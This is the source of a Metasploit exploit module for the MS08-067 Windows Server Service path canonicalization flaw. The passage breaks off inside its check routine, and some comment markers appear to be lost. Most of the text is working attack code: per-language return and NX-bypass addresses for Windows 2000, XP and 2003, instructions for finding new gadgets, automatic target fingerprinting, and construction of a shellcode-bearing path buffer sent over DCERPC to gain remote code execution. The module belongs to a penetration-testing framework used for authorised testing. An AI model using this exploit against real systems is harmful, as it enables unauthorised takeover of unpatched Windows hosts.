...

This module requires Metasploit: http://metasploit.com/download

Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client

def initialize(info = {})
super(update_info(info,
'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',
'Description' => %q{
This module exploits a parsing flaw in the path canonicalization code of
NetAPI32.dll through the Server Service. This module is capable of bypassing
NX on some operating systems and service packs. The correct target must be
used to prevent the Server Service (along with a dozen others in the same
process) from crashing. Windows XP targets seem to handle multiple successful
exploitation events, but 2003 targets will often crash or hang on subsequent
attempts. This is just the first version of this module, full support for
NX bypass on 2003, along with other platforms, is still in development.
},
'Author' =>
[
'hdm', # with tons of input/help/testing from the community
'Brett Moore <brett.moore[at]insomniasec.com>',
'frank2 <frank2[at]dc949.org>', # check() detection
'jduck', # XP SP2/SP3 AlwaysOn DEP bypass
],
'License' => MSF_LICENSE,
'References' =>
[
%w(CVE 2008-4250),
%w(OSVDB 49243),
%w(MSB MS08-067),
# If this vulnerability is found, ms08-67 is exposed as well
['URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 410,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
#
# Automatic targetting via fingerprinting
#
['Automatic Targeting', { 'auto' => true }],

UNIVERSAL TARGETS

Antoine's universal for Windows 2000

Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET

['Windows 2000 Universal',
{
'Ret' => 0x001f1cb0,
'Scratch' => 0x00020408,
}
], # JMP EDI SVCHOST.EXE

Standard return-to-ESI without NX bypass

Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET

['Windows XP SP0/SP1 Universal',
{
'Ret' => 0x01001361,
'Scratch' => 0x00020408,
}
], # JMP ESI SVCHOST.EXE

Standard return-to-ESI without NX bypass

['Windows 2003 SP0 Universal',
{
'Ret' => 0x0100129e,
'Scratch' => 0x00020408,
}
], # JMP ESI SVCHOST.EXE

ENGLISH TARGETS

jduck's AlwaysOn NX Bypass for XP SP2

['Windows XP SP2 English (AlwaysOn NX)',
{
# No pivot is needed, we drop into our rop
'Scratch' => 0x00020408,
'UseROP' => '5.1.2600.2180'
}
],

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 English (NX)',
{
'Ret' => 0x6f88f727,
'DisableNX' => 0x6f8916e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

jduck's AlwaysOn NX Bypass for XP SP3

['Windows XP SP3 English (AlwaysOn NX)',
{
# No pivot is needed, we drop into our rop
'Scratch' => 0x00020408,
'UseROP' => '5.1.2600.5512'
}
],

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 English (NX)',
{
'Ret' => 0x6f88f807,
'DisableNX' => 0x6f8917c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Arabic (NX)',
{
'Ret' => 0x6fd8f727,
'DisableNX' => 0x6fd916e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
{
'Ret' => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Chinese - Simplified (NX)',
{
'Ret' => 0x58fbf727,
'DisableNX' => 0x58fc16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Chinese - Traditional (NX)',
{
'Ret' => 0x5860f727,
'DisableNX' => 0x586116e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Czech (NX)',
{
'Ret' => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Danish (NX)',
{
'Ret' => 0x5978f727,
'DisableNX' => 0x597916e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 German (NX)',
{
'Ret' => 0x6fd9f727,
'DisableNX' => 0x6fda16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Greek (NX)',
{
'Ret' => 0x592af727,
'DisableNX' => 0x592b16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Spanish (NX)',
{
'Ret' => 0x6fdbf727,
'DisableNX' => 0x6fdc16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Finnish (NX)',
{
'Ret' => 0x597df727,
'DisableNX' => 0x597e16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 French (NX)',
{
'Ret' => 0x595bf727,
'DisableNX' => 0x595c16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Hebrew (NX)',
{
'Ret' => 0x5940f727,
'DisableNX' => 0x594116e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Hungarian (NX)',
{
'Ret' => 0x5970f727,
'DisableNX' => 0x597116e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Italian (NX)',
{
'Ret' => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Japanese (NX)',
{
'Ret' => 0x567fd3be,
'DisableNX' => 0x568016e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Korean (NX)',
{
'Ret' => 0x6fd6f727,
'DisableNX' => 0x6fd716e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Dutch (NX)',
{
'Ret' => 0x596cf727,
'DisableNX' => 0x596d16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Norwegian (NX)',
{
'Ret' => 0x597cf727,
'DisableNX' => 0x597d16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Polish (NX)',
{
'Ret' => 0x5941f727,
'DisableNX' => 0x594216e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Portuguese - Brazilian (NX)',
{
'Ret' => 0x596ff727,
'DisableNX' => 0x597016e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Portuguese (NX)',
{
'Ret' => 0x596bf727,
'DisableNX' => 0x596c16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Russian (NX)',
{
'Ret' => 0x6fe1f727,
'DisableNX' => 0x6fe216e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Swedish (NX)',
{
'Ret' => 0x597af727,
'DisableNX' => 0x597b16e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP2 Turkish (NX)',
{
'Ret' => 0x5a78f727,
'DisableNX' => 0x5a7916e2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Arabic (NX)',
{
'Ret' => 0x6fd8f807,
'DisableNX' => 0x6fd917c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
{
'Ret' => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Chinese - Simplified (NX)',
{
'Ret' => 0x58fbf807,
'DisableNX' => 0x58fc17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Chinese - Traditional (NX)',
{
'Ret' => 0x5860f807,
'DisableNX' => 0x586117c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Czech (NX)',
{
'Ret' => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Danish (NX)',
{
'Ret' => 0x5978f807,
'DisableNX' => 0x597917c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 German (NX)',
{
'Ret' => 0x6fd9f807,
'DisableNX' => 0x6fda17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Greek (NX)',
{
'Ret' => 0x592af807,
'DisableNX' => 0x592b17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Spanish (NX)',
{
'Ret' => 0x6fdbf807,
'DisableNX' => 0x6fdc17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Finnish (NX)',
{
'Ret' => 0x597df807,
'DisableNX' => 0x597e17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 French (NX)',
{
'Ret' => 0x595bf807,
'DisableNX' => 0x595c17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Hebrew (NX)',
{
'Ret' => 0x5940f807,
'DisableNX' => 0x594117c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Hungarian (NX)',
{
'Ret' => 0x5970f807,
'DisableNX' => 0x597117c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Italian (NX)',
{
'Ret' => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Japanese (NX)',
{
'Ret' => 0x567fd4d2,
'DisableNX' => 0x568017c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Korean (NX)',
{
'Ret' => 0x6fd6f807,
'DisableNX' => 0x6fd717c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Dutch (NX)',
{
'Ret' => 0x596cf807,
'DisableNX' => 0x596d17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Norwegian (NX)',
{
'Ret' => 0x597cf807,
'DisableNX' => 0x597d17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Polish (NX)',
{
'Ret' => 0x5941f807,
'DisableNX' => 0x594217c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Portuguese - Brazilian (NX)',
{
'Ret' => 0x596ff807,
'DisableNX' => 0x597017c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Portuguese (NX)',
{
'Ret' => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Russian (NX)',
{
'Ret' => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Swedish (NX)',
{
'Ret' => 0x597af807,
'DisableNX' => 0x597b17c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Metasploit's NX bypass for XP SP2/SP3

['Windows XP SP3 Turkish (NX)',
{
'Ret' => 0x5a78f807,
'DisableNX' => 0x5a7917c2,
'Scratch' => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

Windows 2003 Targets

Standard return-to-ESI without NX bypass

['Windows 2003 SP1 English (NO NX)',
{
'Ret' => 0x71bf21a2,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP1

['Windows 2003 SP1 English (NX)',
{
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],

Standard return-to-ESI without NX bypass

['Windows 2003 SP1 Japanese (NO NX)',
{
'Ret' => 0x71a921a2,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Standard return-to-ESI without NX bypass

['Windows 2003 SP1 Spanish (NO NX)',
{
'Ret' => 0x71ac21a2,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP1

['Windows 2003 SP1 Spanish (NX)',
{
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],
# Standard return-to-ESI without NX bypass
# Added by Omar MEZRAG - 0xFFFFFF
[ 'Windows 2003 SP1 French (NO NX)',
{
'Ret' => 0x71ac1c40 ,
'Scratch' => 0x00020408
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP1

Added by Omar MEZRAG - 0xFFFFFF

[ 'Windows 2003 SP1 French (NX)',
{
'RetDec' => 0x7CA2568C, # dec ESI, ret @SHELL32.DLL
'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL
'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408
}
],

Standard return-to-ESI without NX bypass

['Windows 2003 SP2 English (NO NX)',
{
'Ret' => 0x71bf3969,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP2

['Windows 2003 SP2 English (NX)',
{
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],

Standard return-to-ESI without NX bypass

['Windows 2003 SP2 German (NO NX)',
{
'Ret' => 0x71a03969,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP2

['Windows 2003 SP2 German (NX)',
{
'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL
'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],

Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)

[ 'Windows 2003 SP2 Portuguese - Brazilian (NX)',
{
'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK
'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK
'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK
'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],
# Standard return-to-ESI without NX bypass
['Windows 2003 SP2 Spanish (NO NX)',
{
'Ret' => 0x71ac3969,
'Scratch' => 0x00020408,
}
], # JMP ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP2

['Windows 2003 SP2 Spanish (NX)',
{
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408,
}
],

Standard return-to-ESI without NX bypass

Provided by Masashi Fujiwara

['Windows 2003 SP2 Japanese (NO NX)',
{
'Ret' => 0x71a91ed2,
'Scratch' => 0x00020408
}
], # JMP ESI WS2HELP.DLL
# Standard return-to-ESI without NX bypass
# Added by Omar MEZRAG - 0xFFFFFF
[ 'Windows 2003 SP2 French (NO NX)',
{
'Ret' => 0x71AC2069,
'Scratch' => 0x00020408
}
], # CALL ESI WS2HELP.DLL

Brett Moore's crafty NX bypass for 2003 SP2

Added by Omar MEZRAG - 0xFFFFFF

[ 'Windows 2003 SP2 French (NX)',
{
'RetDec' => 0x7C98BEB8, # dec ESI, ret @NTDLL.DLL
'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL
'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL
'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL
'Scratch' => 0x00020408
}
],

Missing Targets

Key: T=TODO ?=UNKNOWN U=UNRELIABLE

[?] Windows Vista SP0 - Not tested yet

[?] Windows Vista SP1 - Not tested yet

],

'DisclosureDate' => 'Oct 28 2008'))

register_options(
[
OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),
], self.class)
end

*** WINDOWS XP SP2/SP3 TARGETS ***

This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX

for the process and then returns back to a call ESI instruction. These addresses are different

between operating systems, service packs, and language packs, but the steps below can be used to

add new targets.

If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and

DisableNX elements of the target hash.

If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.

First obtain the value for the Ret element of the hash with the following command:

$ msfpescan -j esi acgenral.dll

Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.

Next, find the location of the function we use to disable NX. Use the following command:

$ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll

This address should be placed into the DisableNX element of the target hash.

The Scratch element of 0x00020408 should work on all versions of Windows

The actual function we use to disable NX looks like this:

push 4

lea eax, [ebp+arg_0]

push eax

push 22h

push 0FFFFFFFFh

mov [ebp+arg_0], 2

call ds:__imp__NtSetInformationProcess@16

*** WINDOWS XP NON-NX TARGETS ***

Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short

jump, and finally the shellcode.

*** WINDOWS 2003 SP2 TARGETS ***

There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,

both of these are inside NTDLL.DLL and use a return method that is not directly compatible

with our call stack. To solve this, Brett Moore figured out a multi-step return call chain

that eventually leads to the NX bypass function.

*** WINDOWS 2000 TARGETS ***

No NX to bypass, just return directly to a "JMP EDX", which takes us to the short

jump, and finally the shellcode.

*** WINDOWS VISTA TARGETS ***

Currently untested, will involve ASLR and NX, should be fun.

*** NetprPathCanonicalize IDL ***

NET_API_STATUS NetprPathCanonicalize(

[in, string, unique] SRVSVC_HANDLE ServerName,

[in, string] WCHAR* PathName,

[out, size_is(OutbufLen)] unsigned char* Outbuf,

[in, range(0,64000)] DWORD OutbufLen,

[in, string] WCHAR* Prefix,

[in, out] DWORD* PathType,

[in] DWORD Flags

);

def exploit
begin
connect
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message =~ /Connection reset/
print_error('Connection reset during login')
print_error('This most likely means a previous exploit attempt caused the service to crash')
return
else
raise e
end
end

Use a copy of the target

mytarget = target

if target['auto']

mytarget = nil

print_status('Automatically detecting the target...')
fprint = smb_fingerprint

print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")

Bail early on unknown OS

if (fprint['os'] == 'Unknown')
fail_with(Failure::NoTarget, 'No matching target')
end

Windows 2000 is mostly universal

if (fprint['os'] == 'Windows 2000')
mytarget = targets[1]
end

Windows XP SP0/SP1 is mostly universal

if fprint['os'] == 'Windows XP' and fprint['sp'] == 'Service Pack 0 / 1'
mytarget = targets[2]
end

Windows 2003 SP0 is mostly universal

if fprint['os'] == 'Windows 2003' and fprint['sp'] == 'No Service Pack'
mytarget = targets[3]
end

Windows 2003 R2 is treated the same as 2003

if (fprint['os'] == 'Windows 2003 R2')
fprint['os'] = 'Windows 2003'
end

Service Pack match must be exact

if (not mytarget) and fprint['sp'].index('+')
print_error('Could not determine the exact service pack')
print_status("Auto-targeting failed, use 'show targets' to manually select one")
disconnect
return
end

Language Pack match must be exact or we default to English

if (not mytarget) and fprint['lang'] == 'Unknown'
print_status('We could not detect the language pack, defaulting to English')
fprint['lang'] = 'English'
end

Normalize the service pack string

fprint['sp'].gsub!(/Service Pack\s+/, 'SP')

unless mytarget
targets.each do |t|
# Prefer AlwaysOn NX over NX, and NX over non-NX
if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} (AlwaysOn NX)/
mytarget = t
break
end
if t.name =~ /#{fprint['os']} #{fprint['sp']} #{fprint['lang']} (NX)/
mytarget = t
break
end
end
end

unless mytarget
fail_with(Failure::NoTarget, 'No matching target')
end

print_status("Selected Target: #{mytarget.name}")
end

Build the malicious path name

padder = [*('A'..'Z')]
pad = 'A'
while pad.length < 7
c = padder[rand(padder.length)]
next if pad.index(c)
pad += c
end

prefix = '\'
path = ''
server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase

Windows 2003 SP2 (NX) targets

if mytarget['RetDec']

jumper = Rex::Text.rand_text_alpha(70).upcase
jumper[ 0, 4] = [mytarget['RetDec']].pack('V') # one more to Align and make room

jumper[ 4, 4] = [mytarget['RetDec']].pack('V') # 4 more for space
jumper[ 8, 4] = [mytarget['RetDec']].pack('V')
jumper[ 12, 4] = [mytarget['RetDec']].pack('V')
jumper[ 16, 4] = [mytarget['RetDec']].pack('V')

jumper[ 20, 4] = [mytarget['RetPop']].pack('V') # pop to EBP
jumper[ 24, 4] = [mytarget['DisableNX']].pack('V')

jumper[ 56, 4] = [mytarget['JmpESP']].pack('V')
jumper[ 60, 4] = [mytarget['JmpESP']].pack('V')
jumper[ 64, 2] = "\xeb\x02" # our jump
jumper[ 68, 2] = "\xeb\x62" # original

path =
Rex::Text.to_unicode('\') +

This buffer is removed from the front

Rex::Text.rand_text_alpha(100) +

Shellcode

payload.encoded +

Relative path to trigger the bug

Rex::Text.to_unicode('\..\..\') +

Extra padding

Rex::Text.to_unicode(pad) +

Writable memory location (static)

[mytarget['Scratch']].pack('V') + # EBP

Return to code which disables NX (or just the return)

[mytarget['RetDec']].pack('V') +

Padding with embedded jump

jumper +

NULL termination

"\x00" * 2

Windows XP SP2/SP3 ROP Stager targets

elsif mytarget['UseROP']

rop = generate_rop(mytarget['UseROP'])

path =
Rex::Text.to_unicode('\') +

This buffer is removed from the front

Rex::Text.rand_text_alpha(100) +

Shellcode

payload.encoded +

Relative path to trigger the bug

Rex::Text.to_unicode('\..\..\') +

Extra padding

Rex::Text.to_unicode(pad) +

ROP Stager

rop +

Padding (skipped)

Rex::Text.rand_text_alpha(2) +

NULL termination

"\x00" * 2

Windows 2000, XP (NX), and 2003 (NO NX) targets

else

jumper = Rex::Text.rand_text_alpha(70).upcase
jumper[ 4, 4] = [mytarget.ret].pack('V')
jumper[50, 8] = make_nops(8)
jumper[58, 2] = "\xeb\x62"

path =
Rex::Text.to_unicode('\') +

This buffer is removed from the front

Rex::Text.rand_text_alpha(100) +

Shellcode

payload.encoded +

Relative path to trigger the bug

Rex::Text.to_unicode('\..\..\') +

Extra padding

Rex::Text.to_unicode(pad) +

Writable memory location (static)

[mytarget['Scratch']].pack('V') + # EBP

Return to code which disables NX (or just the return)

[mytarget['DisableNX'] || mytarget.ret].pack('V') +

Padding with embedded jump

jumper +

NULL termination

"\x00" * 2

end

handle = dcerpc_handle(
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\#{datastore['SMBPIPE']}"]
)

dcerpc_bind(handle)

stub =
NDR.uwstring(server) +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(1024)) +
NDR.wstring(prefix) +
NDR.long(4097) +
NDR.long(0)

NOTE: we don't bother waiting for a response here...

print_status('Attempting to trigger the vulnerability...')
dcerpc.call(0x1f, stub, false)

Cleanup

handler
disconnect
end

def check
begin
connect
smb_login
rescue Rex::ConnectionError => e
vprint_error("Connection failed: #{e.class}: #{e}")
return Msf::Exploit::CheckCode::Unknown
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message =~ /Connection reset/
vprint_error('Connection reset during login')
vprint_error('This most likely means a previous exploit attempt caused the service to crash')
return Msf::Exploit::CheckCode::Unknown
else
raise e
end
end

Build the malicious path name

5b878ae7 "db @eax;g"

prefix = '\'
path =
"\x00\\x00/" * 0x10 +
Rex::Text.to_unicode('\') +
Rex::Text.to_unicode('R7') +
Rex::Text.to_unicode('\..\..\') +
Rex::Text.to_unicode('R7') +
